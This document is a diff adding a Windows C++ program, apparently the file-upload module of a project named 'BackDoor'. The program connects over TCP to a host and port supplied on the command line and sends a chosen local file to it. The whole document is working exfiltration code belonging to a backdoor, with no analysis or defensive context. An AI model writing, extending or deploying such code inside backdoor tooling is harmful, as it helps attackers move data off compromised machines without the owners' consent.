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BackDoor/Upload/main.cpp

@@ -0,0 +1,65 @@
+#define _WINSOCK_DEPRECATED_NO_WARNINGS
+#include <iostream>
+#include <fstream>
+#include <WinSock2.h>
+
+#pragma comment(lib, "Ws2_32.lib")
+
+int main(int argc, char* argv[]) {
+    if (argc != 4) {
+        std::cerr << "Usage: " << argv[0] << " <host> <port> <file_path>\n";
+        return 1;
+    }
+
+    const char* host = argv[1];
+    const char* port = argv[2];
+    const char* file_path = argv[3];
+
+    WSADATA wsaData;
+    if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
+        std::cerr << "WSAStartup failed\n";
+        return 1;
+    }
+
+    SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
+    if (sock == INVALID_SOCKET) {
+        std::cerr << "Failed to create socket\n";
+        WSACleanup();
+        return 1;
+    }
+
+    sockaddr_in serverAddr;
+    serverAddr.sin_family = AF_INET;
+    serverAddr.sin_addr.s_addr = inet_addr(host);
+    serverAddr.sin_port = htons(atoi(port));
+
+    if (connect(sock, reinterpret_cast<sockaddr*>(&serverAddr), sizeof(serverAddr)) == SOCKET_ERROR) {
+        std::cerr << "Failed to connect to server\n";
+        closesocket(sock);
+        WSACleanup();
+        return 1;
+    }
+
+    std::ifstream file(file_path, std::ios::binary);
+    if (!file) {
+        std::cerr << "Failed to open file: " << file_path << "\n";
+        closesocket(sock);
+        WSACleanup();
+        return 1;
+    }
+
+    char buffer[1024];
+    while (!file.eof()) {
+        file.read(buffer, sizeof(buffer));
+        int bytesRead = file.gcount();
+        send(sock, buffer, bytesRead, 0);
+    }
+
+    file.close();
+    closesocket(sock);
+    WSACleanup();
+
+    std::cout << "File sent successfully.\n";
+
+    return 0;
+}